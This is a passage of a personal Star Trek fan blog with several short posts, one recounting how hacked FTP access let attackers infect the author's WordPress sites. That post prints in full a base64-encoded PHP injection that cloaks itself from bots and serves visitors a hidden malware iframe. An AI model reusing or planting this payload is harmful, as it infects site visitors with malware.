web analytics
 

I haven’t been posting here for the last week or so because I ran into a problem with all of my blogs. My anti-virus software was blocking my blogs because of a trojan horse. I was able to keep Google from blocking the sites by re-installing WordPress, but for reasons I couldn’t figure out, that would only fix the problem for an hour or two and then the infection would be back.

I tried uploading files from a fresh download of WordPress, but that didn’t help. Eventually, I tried disabling all of my plug-ins and that didn’t help, so I deleted all the plugins. When that didn’t work I switched to WordPress’s default theme and deleted all the other themes.

THAT actually fixed it. Having saved local copies of everything I deleted, I looked at all the files for my themes and couldn’t find anything out of the ordinary. However, since taking the themes off the server fixed the problem, I was satisfied.

I spent a good part of yesterday getting fresh copies of my themes and plug-ins and I plan on spending a good part of today downloading fresh backups of my blogs.

 

 

At some point recently there was an upgrade to WordPress that broke the plug-in which handles the Captcha code on the comments. Since that upgrade, any comments have been delivered straight to that giant bit-bucket in the sky.

Anyone who has posted a comment and not seen it posted is encouraged to try commenting again.

 

Why is it that all Star Trek fans are characterized as the type of people who wear big plastic-framed glasses with tape holding them together, a horrible case of acne, hair with enough grease to do a lube job on a ’58 Pontiac, and all of them prime candidates for sensa weight loss?

Those stereotypes clearly don’t describe the average Star Trek fan. Those are obviously Star Wars fans.

Just kidding. Please, no hate mail.

 

This blog hasn’t been updated in almost a week because we have been fighting off a nasty case of Rigelian Fever. In spite of our occasional tendency to refer to ourselves in the plural, we are, in fact, only one man and when one’s stomach feels like one has swallowed a few Bajoran fire pits, sitting in front of a computer doesn’t rank high on one’s list of priorities.

The weekly caption contest, which should have ended on Monday, will remain open until next Monday and the weekly poll, which should have closed on Friday, will remain open until Friday of this week.

The weekly feature, This Week On Star Trek, will be published later today, providing we don’t have a relapse.

And, no, in spite of what you may have heard, Romulan Ale was not involved.

 

After a couple of panicked days trying to find and remove the malware from this blog and my other one, I finally contacted support at my web hosting company. They scanned through my account and told me exactly which files had been affected and how.

Basically, what happened was that someone hacked my FTP password and added a base64-encoded script to a couple of files on each of my blogs. The encoded script looked like this:

ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9
IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywn
ZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxk
b2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdo
dHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5s
aWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFn
ZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJr
aW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScs
J3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9
IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2
NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4x
MDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJy
YXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAi
NzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0K
CWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5
NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMu
MjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJy
YXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1
LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1Iiks
DQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4x
OTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIp
LA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwi
NzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFy
cmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1
LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVS
WydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJ
JGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50Zigi
JXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlf
aXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVz
ZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hU
VFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30N
Cn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0
OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2h3ZXlyb2h6LmNvLmNj
L1FRa0ZCZzBNQkFFREFBQUJFa2NKQlFjRUJBWURCQUFNQkE9PSIgd2lkdGg9IjEiIGhlaWdodD0iMSI+
PC9pZnJhbWU+PC9kaXY+JzsNCn0=

only without the line feeds I have added for readability. Out of curiosity, I copied the code and took it to a site that can decode base64-encoding.

I’m not going to re-post the decoded script here. If you’re that curious, you can copy the encoded version above, remove the line breaks, and take it to the URL mentioned above.

Essentially, when this was tacked on to my index.php file, it was saying, “if this page is being loaded from one of these IP addresses, or a browser identified as one of these, then display the page normally. For everyone else, add this iframe, positioned off-screen and very small, that downloads malicious software”.

This is a shining example of why you should keep your passwords long, random, and frequently changed.

 

© 2011 Treknicalities Suffusion theme by Sayontan Sinha